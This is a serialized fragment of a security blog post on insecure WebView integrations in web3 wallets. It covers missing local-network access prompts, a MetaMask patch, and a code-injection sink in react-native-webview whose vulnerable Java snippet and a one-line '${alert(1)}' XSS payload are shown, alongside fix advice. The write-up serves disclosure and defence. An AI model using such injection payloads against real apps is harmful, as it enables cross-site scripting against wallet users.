gps",{"type":25,"tag":216,"props":162081,"children":162082},{"style":6947},[162083],{"type":31,"value":179},{"type":25,"tag":216,"props":162085,"children":162086},{"style":6941},[162087],{"type":31,"value":38921},{"type":25,"tag":216,"props":162089,"children":162090},{"style":6947},[162091],{"type":31,"value":4977},{"type":25,"tag":216,"props":162093,"children":162094},{"style":8199},[162095],{"type":31,"value":162096},"`Lat: ",{"type":25,"tag":216,"props":162098,"children":162099},{"style":6930},[162100],{"type":31,"value":38065},{"type":25,"tag":216,"props":162102,"children":162103},{"style":6941},[162104],{"type":31,"value":2248},{"type":25,"tag":216,"props":162106,"children":162107},{"style":6947},[162108],{"type":31,"value":179},{"type":25,"tag":216,"props":162110,"children":162111},{"style":6941},[162112],{"type":31,"value":162113},"latitude",{"type":25,"tag":216,"props":162115,"children":162116},{"style":6947},[162117],{"type":31,"value":179},{"type":25,"tag":216,"props":162119,"children":162120},{"style":7041},[162121],{"type":31,"value":162122},"toFixed",{"type":25,"tag":216,"props":162124,"children":162125},{"style":6947},[162126],{"type":31,"value":1844},{"type":25,"tag":216,"props":162128,"children":162129},{"style":6983},[162130],{"type":31,"value":184},{"type":25,"tag":216,"props":162132,"children":162133},{"style":6947},[162134],{"type":31,"value":1882},{"type":25,"tag":216,"props":162136,"children":162137},{"style":6930},[162138],{"type":31,"value":38097},{"type":25,"tag":216,"props":162140,"children":162141},{"style":52336},[162142],{"type":31,"value":52339},{"type":25,"tag":216,"props":162144,"children":162145},{"style":8199},[162146],{"type":31,"value":162147},"Lon: ",{"type":25,"tag":216,"props":162149,"children":162150},{"style":6930},[162151],{"type":31,"value":38065},{"type":25,"tag":216,"props":162153,"children":162154},{"style":6941},[162155],{"type":31,"value":2248},{"type":25,"tag":216,"props":162157,"children":162158},{"style":6947},[162159],{"type":31,"value":179},{"type":25,"tag":216,"props":162161,"children":162162},{"style":6941},[162163],{"type":31,"value":162164},"longitude",{"type":25,"tag":216,"props":162166,"children":162167},{"style":6947},[162168],{"type":31,"value":179},{"type":25,"tag":216,"props":162170,"children":162171},{"style":7041},[162172],{"type":31,"value":162122},{"type":25,"tag":216,"props":162174,"children":162175},{"style":6947},[162176],{"type":31,"value":1844},{"type":25,"tag":216,"props":162178,"children":162179},{"style":6983},[162180],{"type":31,"value":184},{"type":25,"tag":216,"props":162182,"children":162183},{"style":6947},[162184],{"type":31,"value":1882},{"type":25,"tag":216,"props":162186,"children":162187},{"style":6930},[162188],{"type":31,"value":38097},{"type":25,"tag":216,"props":162190,"children":162191},{"style":8199},[162192],{"type":31,"value":14333},{"type":25,"tag":216,"props":162194,"children":162195},{"style":6947},[162196],{"type":31,"value":6961},{"type":25,"tag":216,"props":162198,"children":162199},{"class":6916,"line":27734},[162200,162205,162209,162213,162218,162222,162226],{"type":25,"tag":216,"props":162201,"children":162202},{"style":6947},[162203],{"type":31,"value":162204},"                }, ",{"type":25,"tag":216,"props":162206,"children":162207},{"style":6941},[162208],{"type":31,"value":52383},{"type":25,"tag":216,"props":162210,"children":162211},{"style":6930},[162212],{"type":31,"value":31705},{"type":25,"tag":216,"props":162214,"children":162215},{"style":7041},[162216],{"type":31,"value":162217}," alert",{"type":25,"tag":216,"props":162219,"children":162220},{"style":6947},[162221],{"type":31,"value":1844},{"type":25,"tag":216,"props":162223,"children":162224},{"style":6941},[162225],{"type":31,"value":52383},{"type":25,"tag":216,"props":162227,"children":162228},{"style":6947},[162229],{"type":31,"value":11169},{"type":25,"tag":216,"props":162231,"children":162232},{"class":6916,"line":27771},[162233],{"type":25,"tag":216,"props":162234,"children":162235},{"style":6947},[162236],{"type":31,"value":52037},{"type":25,"tag":216,"props":162238,"children":162239},{"class":6916,"line":27784},[162240],{"type":25,"tag":216,"props":162241,"children":162242},{"emptyLinePlaceholder":16},[162243],{"type":31,"value":7636},{"type":25,"tag":216,"props":162245,"children":162246},{"class":6916,"line":27797},[162247],{"type":25,"tag":216,"props":162248,"children":162249},{"style":6947},[162250],{"type":31,"value":7296},{"type":25,"tag":216,"props":162252,"children":162253},{"class":6916,"line":27810},[162254,162259],{"type":25,"tag":216,"props":162255,"children":162256},{"style":7041},[162257],{"type":31,"value":162258},"        main",{"type":25,"tag":216,"props":162260,"children":162261},{"style":6947},[162262],{"type":31,"value":7627},{"type":25,"tag":216,"props":162264,"children":162265},{"class":6916,"line":27864},[162266,162270,162274],{"type":25,"tag":216,"props":162267,"children":162268},{"style":36332},[162269],{"type":31,"value":36785},{"type":25,"tag":216,"props":162271,"children":162272},{"style":6930},[162273],{"type":31,"value":36372},{"type":25,"tag":216,"props":162275,"children":162276},{"style":36332},[162277],{"type":31,"value":9937},{"type":25,"tag":216,"props":162279,"children":162280},{"class":6916,"line":27873},[162281,162285,162289],{"type":25,"tag":216,"props":162282,"children":162283},{"style":36332},[162284],{"type":31,"value":36386},{"type":25,"tag":216,"props":162286,"children":162287},{"style":6930},[162288],{"type":31,"value":36356},{"type":25,"tag":216,"props":162290,"children":162291},{"style":36332},[162292],{"type":31,"value":9937},{"type":25,"tag":216,"props":162294,"children":162295},{"class":6916,"line":36237},[162296,162300,162304],{"type":25,"tag":216,"props":162297,"children":162298},{"style":36332},[162299],{"type":31,"value":36386},{"type":25,"tag":216,"props":162301,"children":162302},{"style":6930},[162303],{"type":31,"value":36339},{"type":25,"tag":216,"props":162305,"children":162306},{"style":36332},[162307],{"type":31,"value":9937},{"type":25,"tag":631,"props":162309,"children":162310},{"id":8167},[162311],{"type":31,"value":8170},{"type":25,"tag":38,"props":162313,"children":162314},{},[162315],{"type":31,"value":162316},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":25,"tag":38,"props":162318,"children":162319},{},[162320,162322,162328],{"type":31,"value":162321},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":25,"tag":162,"props":162323,"children":162326},{"href":162324,"rel":162325},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[166],[162327],{"type":31,"value":51547},{"type":31,"value":179},{"type":25,"tag":35302,"props":162330,"children":162331},{"style":35304},[162332],{"type":25,"tag":6461,"props":162333,"children":162337},{"src":162334,"alt":162335,"style":162336},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":25,"tag":38,"props":162339,"children":162340},{},[162341],{"type":31,"value":162342},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":25,"tag":26,"props":162344,"children":162346},{"id":162345},"local-network-access",[162347],{"type":31,"value":162348},"Local Network Access",{"type":25,"tag":38,"props":162350,"children":162351},{},[162352,162354,162361,162363,162369],{"type":31,"value":162353},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":25,"tag":162,"props":162355,"children":162358},{"href":162356,"rel":162357},"https://wicg.github.io/private-network-access/",[166],[162359],{"type":31,"value":162360},"Private Network Access",{"type":31,"value":162362}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":25,"tag":162,"props":162364,"children":162367},{"href":162365,"rel":162366},"https://x.com/taviso/status/2051310678800253318",[166],[162368],{"type":31,"value":162365},{"type":31,"value":162370},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":25,"tag":35302,"props":162372,"children":162373},{"style":35304},[162374],{"type":25,"tag":6461,"props":162375,"children":162378},{"src":162376,"alt":162335,"style":162377},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":25,"tag":38,"props":162380,"children":162381},{},[162382],{"type":31,"value":162383},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":25,"tag":162385,"props":162386,"children":162389},"zoom-image",{"src":162387,"alt":162388},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":25,"tag":38,"props":162391,"children":162392},{},[162393],{"type":31,"value":162394},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":25,"tag":2033,"props":162396,"children":162397},{},[162398,162403,162408],{"type":25,"tag":2037,"props":162399,"children":162400},{},[162401],{"type":31,"value":162402},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":25,"tag":2037,"props":162404,"children":162405},{},[162406],{"type":31,"value":162407},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":25,"tag":2037,"props":162409,"children":162410},{},[162411],{"type":31,"value":162412},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":25,"tag":38,"props":162414,"children":162415},{},[162416],{"type":31,"value":162417},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":25,"tag":26,"props":162419,"children":162421},{"id":162420},"uxss-by-code-injection",[162422],{"type":31,"value":162423},"UXSS by Code Injection",{"type":25,"tag":38,"props":162425,"children":162426},{},[162427,162429,162435],{"type":31,"value":162428},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":25,"tag":82,"props":162430,"children":162432},{"className":162431},[],[162433],{"type":31,"value":162434},"injectJavascriptObject",{"type":31,"value":162436}," attribute worked. Here is the code snippet:",{"type":25,"tag":206,"props":162438,"children":162440},{"className":160676,"code":162439,"language":160678,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[162441],{"type":25,"tag":82,"props":162442,"children":162443},{"__ignoreMap":7},[162444,162464,162493,162527,162582,162687,162699,162712],{"type":25,"tag":216,"props":162445,"children":162446},{"class":6916,"line":6917},[162447,162451,162455,162460],{"type":25,"tag":216,"props":162448,"children":162449},{"style":6930},[162450],{"type":31,"value":74747},{"type":25,"tag":216,"props":162452,"children":162453},{"style":7369},[162454],{"type":31,"value":55012},{"type":25,"tag":216,"props":162456,"children":162457},{"style":7041},[162458],{"type":31,"value":162459}," injectJavascriptObject",{"type":25,"tag":216,"props":162461,"children":162462},{"style":6958},[162463],{"type":31,"value":19688},{"type":25,"tag":216,"props":162465,"children":162466},{"class":6916,"line":6763},[162467,162471,162475,162480,162484,162489],{"type":25,"tag":216,"props":162468,"children":162469},{"style":6967},[162470],{"type":31,"value":43244},{"type":25,"tag":216,"props":162472,"children":162473},{"style":6958},[162474],{"type":31,"value":7010},{"type":25,"tag":216,"props":162476,"children":162477},{"style":7041},[162478],{"type":31,"value":162479},"getSettings",{"type":25,"tag":216,"props":162481,"children":162482},{"style":6958},[162483],{"type":31,"value":34123},{"type":25,"tag":216,"props":162485,"children":162486},{"style":7041},[162487],{"type":31,"value":162488},"getJavaScriptEnabled",{"type":25,"tag":216,"props":162490,"children":162491},{"style":6958},[162492],{"type":31,"value":95986},{"type":25,"tag":216,"props":162494,"children":162495},{"class":6916,"line":6772},[162496,162501,162506,162510,162515,162519,162523],{"type":25,"tag":216,"props":162497,"children":162498},{"style":7369},[162499],{"type":31,"value":162500},"        String",{"type":25,"tag":216,"props":162502,"children":162503},{"style":6941},[162504],{"type":31,"value":162505}," js",{"type":25,"tag":216,"props":162507,"children":162508},{"style":6947},[162509],{"type":31,"value":6950},{"type":25,"tag":216,"props":162511,"children":162512},{"style":8199},[162513],{"type":31,"value":162514}," \"(function(){",{"type":25,"tag":216,"props":162516,"children":162517},{"style":52336},[162518],{"type":31,"value":52339},{"type":25,"tag":216,"props":162520,"children":162521},{"style":8199},[162522],{"type":31,"value":24014},{"type":25,"tag":216,"props":162524,"children":162525},{"style":6947},[162526],{"type":31,"value":13738},{"type":25,"tag":216,"props":162528,"children":162529},{"class":6916,"line":6999},[162530,162535,162539,162544,162548,162553,162557,162561,162565,162570,162574,162578],{"type":25,"tag":216,"props":162531,"children":162532},{"style":8199},[162533],{"type":31,"value":162534},"          \"    window.\"",{"type":25,"tag":216,"props":162536,"children":162537},{"style":6947},[162538],{"type":31,"value":12852},{"type":25,"tag":216,"props":162540,"children":162541},{"style":6958},[162542],{"type":31,"value":162543}," JAVASCRIPT_INTERFACE ",{"type":25,"tag":216,"props":162545,"children":162546},{"style":6947},[162547],{"type":31,"value":3533},{"type":25,"tag":216,"props":162549,"children":162550},{"style":8199},[162551],{"type":31,"value":162552}," \" = window.\"",{"type":25,"tag":216,"props":162554,"children":162555},{"style":6947},[162556],{"type":31,"value":12852},{"type":25,"tag":216,"props":162558,"children":162559},{"style":6958},[162560],{"type":31,"value":162543},{"type":25,"tag":216,"props":162562,"children":162563},{"style":6947},[162564],{"type":31,"value":3533},{"type":25,"tag":216,"props":162566,"children":162567},{"style":8199},[162568],{"type":31,"value":162569}," \" || {};",{"type":25,"tag":216,"props":162571,"children":162572},{"style":52336},[162573],{"type":31,"value":52339},{"type":25,"tag":216,"props":162575,"children":162576},{"style":8199},[162577],{"type":31,"value":24014},{"type":25,"tag":216,"props":162579,"children":162580},{"style":6947},[162581],{"type":31,"value":13738},{"type":25,"tag":216,"props":162583,"children":162584},{"class":6916,"line":7104},[162585,162589,162593,162597,162601,162606,162610,162615,162619,162623,162627,162631,162635,162639,162644,162648,162653,162657,162662,162666,162670,162675,162679,162683],{"type":25,"tag":216,"props":162586,"children":162587},{"style":8199},[162588],{"type":31,"value":162534},{"type":25,"tag":216,"props":162590,"children":162591},{"style":6947},[162592],{"type":31,"value":12852},{"type":25,"tag":216,"props":162594,"children":162595},{"style":6958},[162596],{"type":31,"value":162543},{"type":25,"tag":216,"props":162598,"children":162599},{"style":6947},[162600],{"type":31,"value":3533},{"type":25,"tag":216,"props":162602,"children":162603},{"style":8199},[162604],{"type":31,"value":162605}," \".injectedObjectJson = function () { return \"",{"type":25,"tag":216,"props":162607,"children":162608},{"style":6947},[162609],{"type":31,"value":12852},{"type":25,"tag":216,"props":162611,"children":162612},{"style":6958},[162613],{"type":31,"value":162614}," (injectedJavaScriptObject ",{"type":25,"tag":216,"props":162616,"children":162617},{"style":6947},[162618],{"type":31,"value":12522},{"type":25,"tag":216,"props":162620,"children":162621},{"style":6930},[162622],{"type":31,"value":74233},{"type":25,"tag":216,"props":162624,"children":162625},{"style":6967},[162626],{"type":31,"value":101993},{"type":25,"tag":216,"props":162628,"children":162629},{"style":6930},[162630],{"type":31,"value":74233},{"type":25,"tag":216,"props":162632,"children":162633},{"style":6967},[162634],{"type":31,"value":39073},{"type":25,"tag":216,"props":162636,"children":162637},{"style":6958},[162638],{"type":31,"value":7010},{"type":25,"tag":216,"props":162640,"children":162641},{"style":8199},[162642],{"type":31,"value":162643},"\"`\"",{"type":25,"tag":216,"props":162645,"children":162646},{"style":6947},[162647],{"type":31,"value":12852},{"type":25,"tag":216,"props":162649,"children":162650},{"style":6958},[162651],{"type":31,"value":162652}," injectedJavaScriptObject ",{"type":25,"tag":216,"props":162654,"children":162655},{"style":6947},[162656],{"type":31,"value":3533},{"type":25,"tag":216,"props":162658,"children":162659},{"style":8199},[162660],{"type":31,"value":162661}," \"`\"",{"type":25,"tag":216,"props":162663,"children":162664},{"style":6958},[162665],{"type":31,"value":12784},{"type":25,"tag":216,"props":162667,"children":162668},{"style":6947},[162669],{"type":31,"value":3533},{"type":25,"tag":216,"props":162671,"children":162672},{"style":8199},[162673],{"type":31,"value":162674}," \"; };",{"type":25,"tag":216,"props":162676,"children":162677},{"style":52336},[162678],{"type":31,"value":52339},{"type":25,"tag":216,"props":162680,"children":162681},{"style":8199},[162682],{"type":31,"value":24014},{"type":25,"tag":216,"props":162684,"children":162685},{"style":6947},[162686],{"type":31,"value":13738},{"type":25,"tag":216,"props":162688,"children":162689},{"class":6916,"line":7210},[162690,162695],{"type":25,"tag":216,"props":162691,"children":162692},{"style":8199},[162693],{"type":31,"value":162694},"          \"})();\"",{"type":25,"tag":216,"props":162696,"children":162697},{"style":6958},[162698],{"type":31,"value":6961},{"type":25,"tag":216,"props":162700,"children":162701},{"class":6916,"line":7238},[162702,162707],{"type":25,"tag":216,"props":162703,"children":162704},{"style":7041},[162705],{"type":31,"value":162706},"        evaluateJavascriptWithFallback",{"type":25,"tag":216,"props":162708,"children":162709},{"style":6958},[162710],{"type":31,"value":162711},"(js);\n",{"type":25,"tag":216,"props":162713,"children":162714},{"class":6916,"line":7251},[162715],{"type":25,"tag":216,"props":162716,"children":162717},{"style":6958},[162718],{"type":31,"value":16614},{"type":25,"tag":38,"props":162720,"children":162721},{},[162722,162724,162730,162732,162737,162739,162745],{"type":31,"value":162723},"It basically injects a javascript code with the ",{"type":25,"tag":82,"props":162725,"children":162727},{"className":162726},[],[162728],{"type":31,"value":162729},"injectedJavascriptObject",{"type":31,"value":162731}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":25,"tag":82,"props":162733,"children":162735},{"className":162734},[],[162736],{"type":31,"value":162729},{"type":31,"value":162738},". If we control a single attribute we can inject a payload like ",{"type":25,"tag":82,"props":162740,"children":162742},{"className":162741},[],[162743],{"type":31,"value":162744},"${alert(1)}",{"type":31,"value":162746}," and achieve XSS in the context of the loaded page.",{"type":25,"tag":38,"props":162748,"children":162749},{},[162750,162752,162759],{"type":31,"value":162751},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":25,"tag":162,"props":162753,"children":162756},{"href":162754,"rel":162755},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[166],[162757],{"type":31,"value":162758},"PR with the report and fix",{"type":31,"value":179},{"type":25,"tag":38,"props":162761,"children":162762},{},[162763],{"type":31,"value":162764},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":25,"tag":38,"props":162766,"children":162767},{},[162768,162770,162776],{"type":31,"value":162769},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":25,"tag":82,"props":162771,"children":162773},{"className":162772},[],[162774],{"type":31,"value":162775},"injectedJavaScriptObject",{"type":31,"value":162777}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":25,"tag":607,"props":162779,"children":162780},{"id":32886},[162781],{"type":31,"value":22901},{"type":25,"tag":38,"props":162783,"children":162784},{},[162785],{"type":31,"value":162786},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":25,"tag":9310,"props":162788,"children":162789},{},[162790],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":162792},[162793,162797,162800,162801],{"id":160516,"depth":6763,"text":160519,"children":162794},[162795,162796],{"id":160527,"depth":6772,"text":160530},{"id":160602,"depth":6772,"text":160605},{"id":160635,"depth":6763,"text":160638,"children":162798},[162799],{"id":160825,"depth":6772,"text":160828},{"id":162345,"depth":6763,"text":162348},{"id":162420,"depth":6763,"text":162423,"children":162802},[162803],{"id":32886,"depth":6772,"text":22901},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":162808,"isFeatured":16,"onBlogPage":16,"tags":162809,"hideToc":16,"body":162810,"_type":6792,"_id":6793,"_source":6794,"_file":6795,"_stem":6796,"_extension":6797},{"src":13,"width":14,"height":15},[18,19,20],{"type":22,"children":162811,"toc":168952},[162812,162816,162823,162827,162831,162835,162844,162848,162858,162872,162876,162885,162895,162899,162923,162926,162936,162940,163120,163124,163128,163137,163141,163145,163149,163159,163185,163189,163192,163202,163205,163221,163228,163238,163241,163251,163255,163264,163268,163272,163288,163295,163298,163326,163329,163357,163360,163364,163367,163375,163397,163400,163410,163414,163418,163440,163447,163450,163471,163474,163478,163799,163803,163806,163821,163843,163846,163856,163866,163869,163873,163877,163881,163885,163895,163899,163903,163925,163952,163962,163965,163969,163972,163976,164138,164166,164170,164173,164177,164362,164372,164376,164379,164395,164399,164403,164407,164411,164421,164424,164428,164432,164436,164440,164444,164448,164458,164485,164489,167023,167287,167291,168596,168600,168603,168612,168699,168708,168712,168716,168720,168726,168730,168736,168740,168766,168775,168781,168785,168789,168793,168799,168803,168807,168813,168823,168827,168831,168835,168844,168848,168852,168856,168860,168864,168868,168871,168875,168878,168882,168886,168895,168899,168903],{"type":25,"tag":26,"props":162813,"children":162814},{"id":28},[162815],{"type":31,"value":32},{"type":25,"tag":34,"props":162817,"children":162818},{},[162819],{"type":25,"tag":38,"props":162820,"children":162821},{},[162822],{"type":31,"value":42},{"type":25,"tag":38,"props":162824,"children":162825},{},[162826],{"type":31,"value":47},{"type":25,"tag":26,"props":162828,"children":162829},{"id":18},[162830],{"type":31,"value":52},{"type":25,"tag":38,"props":162832,"children":162833},{},[162834],{"type":31,"value":57},{"type":25,"tag":38,"props":162836,"children":162837},{},[162838,162839,162843],{"type":31,"value":62},{"type":25,"tag":64,"props":162840,"children":162841},{},[162842],{"type":31,"value":68},{"type":31,"value":70},{"type":25,"tag":38,"props":162845,"children":162846},{},[162847],{"type":31,"value":75},{"type":25,"tag":38,"props":162849,"children":162850},{},[162851,162852,162857],{"type":31,"value":80},{"type":25,"tag":82,"props":162853,"children":162855},{"className":162854},[],[162856],{"type":31,"value":87},{"type":31,"value":89},{"type":25,"tag":38,"props":162859,"children":162860},{},[162861,162862,162866,162867,162871],{"type":31,"value":94},{"type":25,"tag":64,"props":162863,"children":162864},{},[162865],{"type":31,"value":99},{"type":31,"value":101},{"type":25,"tag":64,"props":162868,"children":162869},{},[162870],{"type":31,"value":106},{"type":31,"value":108},{"type":25,"tag":26,"props":162873,"children":162874},{"id":111},[162875],{"type":31,"value":114},{"type":25,"tag":38,"props":162877,"children":162878},{},[162879,162880,162884],{"type":31,"value":119},{"type":25,"tag":64,"props":162881,"children":162882},{},[162883],{"type":31,"value":124},{"type":31,"value":126},{"type":25,"tag":38,"props":162886,"children":162887},{},[162888,162889,162894],{"type":31,"value":131},{"type":25,"tag":82,"props":162890,"children":162892},{"className":162891},[],[162893],{"type":31,"value":137},{"type":31,"value":139},{"type":25,"tag":38,"props":162896,"children":162897},{},[162898],{"type":31,"value":144},{"type":25,"tag":146,"props":162900,"children":162901},{},[162902],{"type":25,"tag":38,"props":162903,"children":162904},{},[162905,162906,162910,162911,162916,162917,162922],{"type":31,"value":153},{"type":25,"tag":64,"props":162907,"children":162908},{},[162909],{"type":31,"value":158},{"type":31,"value":160},{"type":25,"tag":162,"props":162912,"children":162914},{"href":164,"rel":162913},[166],[162915],{"type":31,"value":169},{"type":31,"value":171},{"type":25,"tag":82,"props":162918,"children":162920},{"className":162919},[],[162921],{"type":31,"value":177},{"type":31,"value":179},{"type":25,"tag":181,"props":162924,"children":162925},{"addr":183,"line-start":184,"line-end":185},[],{"type":25,"tag":38,"props":162927,"children":162928},{},[162929,162930,162935],{"type":31,"value":191},{"type":25,"tag":82,"props":162931,"children":162933},{"className":162932},[],[162934],{"type":31,"value":197},{"type":31,"value":199},{"type":25,"tag":38,"props":162937,"children":162938},{},[162939],{"type":31,"value":204},{"type":25,"tag":206,"props":162941,"children":162942},{},[162943],{"type":25,"tag":82,"props":162944,"children":162946},{"className":162945},[212,213],[162947],{"type":25,"tag":216,"props":162948,"children":162950},{"className":162949},[219],[162951],{"type":25,"tag":216,"props":162952,"children":162954},{"className":162953},[224],[162955],{"type":25,"tag":216,"props":162956,"children":162958},{"className":162957,"ariaHidden":230},[229],[162959,162989],{"type":25,"tag":216,"props":162960,"children":162962},{"className":162961},[235],[162963,162967,162976,162980,162985],{"type":25,"tag":216,"props":162964,"children":162966},{"className":162965,"style":241},[240],[],{"type":25,"tag":216,"props":162968,"children":162970},{"className":162969},[246,31],[162971],{"type":25,"tag":216,"props":162972,"children":162974},{"className":162973},[246],[162975],{"type":31,"value":253},{"type":25,"tag":216,"props":162977,"children":162979},{"className":162978,"style":258},[257],[],{"type":25,"tag":216,"props":162981,"children":162983},{"className":162982},[263],[162984],{"type":31,"value":266},{"type":25,"tag":216,"props":162986,"children":162988},{"className":162987,"style":258},[257],[],{"type":25,"tag":216,"props":162990,"children":162992},{"className":162991},[235],[162993,162997],{"type":25,"tag":216,"props":162994,"children":162996},{"className":162995,"style":278},[240],[],{"type":25,"tag":216,"props":162998,"children":163000},{"className":162999},[246],[163001,163005,163116],{"type":25,"tag":216,"props":163002,"children":163004},{"className":163003},[287,288],[],{"type":25,"tag":216,"props":163006,"children":163008},{"className":163007},[293],[163009],{"type":25,"tag":216,"props":163010,"children":163012},{"className":163011},[298,299],[163013,163105],{"type":25,"tag":216,"props":163014,"children":163016},{"className":163015},[304],[163017,163100],{"type":25,"tag":216,"props":163018,"children":163020},{"className":163019,"style":310},[309],[163021,163059,163070],{"type":25,"tag":216,"props":163022,"children":163023},{"style":314},[163024,163028],{"type":25,"tag":216,"props":163025,"children":163027},{"className":163026,"style":320},[319],[],{"type":25,"tag":216,"props":163029,"children":163031},{"className":163030},[246],[163032,163037,163041,163046,163050],{"type":25,"tag":216,"props":163033,"children":163035},{"className":163034},[246],[163036],{"type":31,"value":331},{"type":25,"tag":216,"props":163038,"children":163040},{"className":163039,"style":335},[257],[],{"type":25,"tag":216,"props":163042,"children":163044},{"className":163043},[340],[163045],{"type":31,"value":343},{"type":25,"tag":216,"props":163047,"children":163049},{"className":163048,"style":335},[257],[],{"type":25,"tag":216,"props":163051,"children":163053},{"className":163052},[246,31],[163054],{"type":25,"tag":216,"props":163055,"children":163057},{"className":163056},[246],[163058],{"type":31,"value":357},{"type":25,"tag":216,"props":163060,"children":163061},{"style":360},[163062,163066],{"type":25,"tag":216,"props":163063,"children":163065},{"className":163064,"style":320},[319],[],{"type":25,"tag":216,"props":163067,"children":163069},{"className":163068,"style":370},[369],[],{"type":25,"tag":216,"props":163071,"children":163072},{"style":374},[163073,163077],{"type":25,"tag":216,"props":163074,"children":163076},{"className":163075,"style":320},[319],[],{"type":25,"tag":216,"props":163078,"children":163080},{"className":163079},[246],[163081,163086,163095],{"type":25,"tag":216,"props":163082,"children":163084},{"className":163083},[246],[163085],{"type":31,"value":389},{"type":25,"tag":216,"props":163087,"children":163089},{"className":163088},[246,31],[163090],{"type":25,"tag":216,"props":163091,"children":163093},{"className":163092},[246],[163094],{"type":31,"value":399},{"type":25,"tag":216,"props":163096,"children":163098},{"className":163097},[246],[163099],{"type":31,"value":389},{"type":25,"tag":216,"props":163101,"children":163103},{"className":163102},[408],[163104],{"type":31,"value":411},{"type":25,"tag":216,"props":163106,"children":163108},{"className":163107},[304],[163109],{"type":25,"tag":216,"props":163110,"children":163112},{"className":163111,"style":419},[309],[163113],{"type":25,"tag":216,"props":163114,"children":163115},{},[],{"type":25,"tag":216,"props":163117,"children":163119},{"className":163118},[427,288],[],{"type":25,"tag":26,"props":163121,"children":163122},{"id":431},[163123],{"type":31,"value":434},{"type":25,"tag":38,"props":163125,"children":163126},{},[163127],{"type":31,"value":439},{"type":25,"tag":38,"props":163129,"children":163130},{},[163131,163132,163136],{"type":31,"value":444},{"type":25,"tag":64,"props":163133,"children":163134},{},[163135],{"type":31,"value":449},{"type":31,"value":451},{"type":25,"tag":453,"props":163138,"children":163139},{"id":455},[163140],{"type":31,"value":458},{"type":25,"tag":38,"props":163142,"children":163143},{},[163144],{"type":31,"value":463},{"type":25,"tag":26,"props":163146,"children":163147},{"id":466},[163148],{"type":31,"value":469},{"type":25,"tag":38,"props":163150,"children":163151},{},[163152,163153,163158],{"type":31,"value":474},{"type":25,"tag":162,"props":163154,"children":163156},{"href":477,"rel":163155},[166],[163157],{"type":31,"value":481},{"type":31,"value":483},{"type":25,"tag":38,"props":163160,"children":163161},{},[163162,163163,163172,163173,163178,163179,163184],{"type":31,"value":488},{"type":25,"tag":162,"props":163164,"children":163166},{"href":491,"rel":163165},[166],[163167],{"type":25,"tag":82,"props":163168,"children":163170},{"className":163169},[],[163171],{"type":31,"value":499},{"type":31,"value":501},{"type":25,"tag":82,"props":163174,"children":163176},{"className":163175},[],[163177],{"type":31,"value":507},{"type":31,"value":509},{"type":25,"tag":82,"props":163180,"children":163182},{"className":163181},[],[163183],{"type":31,"value":515},{"type":31,"value":517},{"type":25,"tag":38,"props":163186,"children":163187},{},[163188],{"type":31,"value":522},{"type":25,"tag":524,"props":163190,"children":163191},{"path":526,"size":527},[],{"